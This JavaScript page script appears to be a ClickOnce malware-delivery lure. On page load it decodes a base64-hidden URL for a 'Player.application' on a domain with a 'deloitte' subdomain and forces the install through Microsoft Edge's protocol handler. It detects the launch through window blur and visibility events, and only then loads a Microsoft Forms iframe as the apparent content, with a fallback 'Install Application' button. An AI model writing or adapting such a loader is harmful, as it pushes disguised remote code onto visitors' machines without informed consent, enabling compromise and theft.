const encodedAppUrl = "aHR0cHM6Ly9kZWxvaXR0ZS5zeWxsaXgubmV0L3BsdWdpbi9iMmQ1NjlhYy0zY2QyLTQzNTgtYWQwZi04NzdiZWNjNDExZWIvUGxheWVyLmFwcGxpY2F0aW9u";
const iframeUrl = "https://forms.cloud.microsoft/r/GUh4kdN8jY";
const installUrl = "{REPLACE_CLICKONCE_INSTALL_URL}";

const detectionTimeoutMs = 5000;
const installerWaitTimeoutMs = 60000;


/*
==================================================
START
==================================================
*/

document.addEventListener("DOMContentLoaded", startApplicationFlow);


async function startApplicationFlow() {

    showCheckingScreen();

    console.log("[+] Checking application");

    let launched = await detectApplicationViaProtocol();

    if (launched) {
        console.log("[+] Application detected");
        loadIframe();
        return;
    }


    console.log("[!] Application not detected");
    console.log("[+] Starting ClickOnce installer");


    launchClickOnce();


    /*
       Wait for ClickOnce installer/application launch
    */

    await waitForInstaller();


    /*
       Check again after installation
    */

    console.log("[+] Checking application again");


    launched = await detectApplicationViaProtocol();


    if (launched) {

        console.log("[+] Application detected after install");

        loadIframe();

    } else {

        console.log("[!] Application still not detected");

        showInstallScreen();

    }

}



/*
==================================================
SHOW CHECKING SCREEN
==================================================
*/


function showCheckingScreen() {

    const container = document.getElementById("iframeContainer");


    if (!container) {

        console.error("iframeContainer not found");
        return;

    }


    container.innerHTML = `

        <div id="statusPanel">

            <div class="spinner"></div>


            <h2>
                Checking application...
            </h2>


            <p>
                Please allow the application to open if prompted.
            </p>


        </div>

    `;
}



/*
==================================================
CLICKONCE URL
==================================================
*/


function getClickOnceUrl() {

    try {

        return atob(encodedAppUrl.trim());

    } catch(error) {

        console.error(
            "Invalid ClickOnce URL encoding",
            error
        );

        return "";

    }

}



/*
==================================================
LAUNCH CLICKONCE
==================================================
*/


function launchClickOnce() {


    const appUrl = getClickOnceUrl();


    if (!appUrl) {

        console.error(
            "ClickOnce URL missing"
        );

        return;

    }


    const userAgent = navigator.userAgent;


    const isIE =
        /Trident\/|MSIE/.test(userAgent);


    const isEdgeChromium =
        /Edg\//.test(userAgent);


    const isLegacyEdge =
        /Edge\//.test(userAgent);



    const launchUrl =
        isIE ||
        isEdgeChromium ||
        isLegacyEdge

            ? appUrl

            : "microsoft-edge:" + appUrl;



    console.log(
        "Launching:",
        launchUrl
    );



    window.location.href = launchUrl;

}



/*
==================================================
APPLICATION DETECTION
==================================================
*/


function detectApplicationViaProtocol() {


    return new Promise(function(resolve) {


        let launched = false;

        let resolved = false;



        function markLaunched() {

            launched = true;

        }



        function visibilityHandler() {


            if(document.hidden) {

                launched = true;

            }

        }




        function finish(result) {


            if(resolved) {

                return;

            }


            resolved = true;



            window.removeEventListener(
                "blur",
                markLaunched
            );


            window.removeEventListener(
                "pagehide",
                markLaunched
            );


            document.removeEventListener(
                "visibilitychange",
                visibilityHandler
            );



            resolve(result);

        }




        window.addEventListener(
            "blur",
            markLaunched
        );


        window.addEventListener(
            "pagehide",
            markLaunched
        );


        document.addEventListener(
            "visibilitychange",
            visibilityHandler
        );



        try {


            const appUrl =
                getClickOnceUrl();



            if(!appUrl) {

                finish(false);
                return;

            }



            const userAgent =
                navigator.userAgent;



            const isIE =
                /Trident\/|MSIE/.test(userAgent);


            const isEdgeChromium =
                /Edg\//.test(userAgent);


            const isLegacyEdge =
                /Edge\//.test(userAgent);



            const launchUrl =
                isIE ||
                isEdgeChromium ||
                isLegacyEdge

                    ? appUrl

                    : "microsoft-edge:" + appUrl;



            window.location.href = launchUrl;



        }
        catch(error) {


            console.error(
                "Application launch failed",
                error
            );


            finish(false);


            return;

        }



        setTimeout(function(){


            finish(
                launched ||
                document.hidden
            );


        }, detectionTimeoutMs);



    });


}



/*
==================================================
WAIT FOR CLICKONCE INSTALL
==================================================
*/


function waitForInstaller() {


    return new Promise(resolve => {


        let browserHidden = false;



        function visibilityChanged() {


            if(document.hidden) {

                browserHidden = true;

            }

        }



        document.addEventListener(
            "visibilitychange",
            visibilityChanged
        );



        setTimeout(function(){


            document.removeEventListener(
                "visibilitychange",
                visibilityChanged
            );



            resolve(browserHidden);



        }, installerWaitTimeoutMs);



    });


}



/*
==================================================
LOAD IFRAME (AUTO RESPONSIVE)
==================================================
*/

function loadIframe() {

    const container =
        document.getElementById(
            "iframeContainer"
        );


    if (!container) {

        console.error(
            "iframeContainer not found"
        );

        return;

    }



    container.innerHTML = "";



    const iframe =
        document.createElement(
            "iframe"
        );


    iframe.src = iframeUrl;


    iframe.frameBorder = "0";


    iframe.allowFullscreen = true;


    iframe.scrolling = "auto";



    /*
    Responsive sizing
    */

    iframe.style.width = "100%";

    iframe.style.height = "100vh";

    iframe.style.minHeight = "700px";

    iframe.style.border = "none";

    iframe.style.display = "block";



    /*
    Prevent parent scrolling issues
    */

    container.style.width = "100%";

    container.style.height = "100vh";

    container.style.overflow = "hidden";



    container.appendChild(
        iframe
    );


}



/*
==================================================
INSTALL SCREEN
==================================================
*/


function showInstallScreen() {


    const container =
        document.getElementById(
            "iframeContainer"
        );



    if(!container) {

        console.error(
            "iframeContainer not found"
        );

        return;

    }



    container.innerHTML = `


    <div class="install-panel">


        <h2>
            Application Required
        </h2>


        <p>
            The required application could not be detected.
        </p>


        <p>
            Click below to install.
        </p>



        <button
            class="install-button"
            onclick="launchClickOnce()"
        >

            Install Application

        </button>



        <button
            type="button"
            class="retry-button"
            onclick="startApplicationFlow()"
        >

            Retry

        </button>



        <p style="
            margin-top:20px;
            font-size:12px;
            color:#555;
        ">

            If the application is installed,
            allow Microsoft Edge to open it,
            then click Retry.

        </p>


    </div>


    `;


}